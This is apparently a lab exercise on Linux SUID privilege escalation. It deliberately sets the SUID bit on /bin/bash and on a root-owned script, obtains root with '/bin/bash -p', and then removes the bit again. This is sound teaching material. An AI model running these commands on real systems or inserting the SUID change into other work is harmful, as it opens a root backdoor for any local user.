POCTASK 4

Step 1: Understanding SUID (Set User ID)

SUID is a special Linux permission that allows a file to be executed with the privileges of its owner (usually root) instead of the executing user. If misconfigured, SUID can lead to privilege escalation vulnerabilities.

Checking for SUID on a Binary

To determine if a binary has SUID enabled, run:

• ls -l /bin/bash

Expected output (if SUID is enabled):

-rwsr-xr-x 1 root root 1183448 Feb 11 10:32 /bin/bash

Step 2: Creating a Vulnerable Environment

1. Enable SUID on /bin/bash (Unsafe Setup!)

• sudo chmod u+s /bin/bash

Verify the change:

• ls -l /bin/bash

2. Create a Root-Owned SUID Script (Insecure!)

- sudo touch /root/root_script.sh
- sudo echo -e '#!/bin/bash\necho "Root command executed"' | sudo tee /root/root_script.sh
- sudo chmod 4755 /root/root_script.sh

Step 3: Exploiting SUID Misconfigurations

1. Finding SUID-Enabled Binaries

To locate all files with the SUID bit set, run:

• find / -perm -4000 2>/dev/null

2. Exploiting SUID on Bash

As a low-privileged user, execute:

/bin/bash -p

Verify root access:

whoami

3. Exploiting the SUID Script

If the root-owned script is accessible, execute it:

/root/root_script.sh

Step 4: Securing the System

1. Remove SUID from /bin/bash

• sudo chmod -s /bin/bash

Verify the change:

• ls -l /bin/bash

The SUID bit is removed, preventing unauthorized privilege escalation.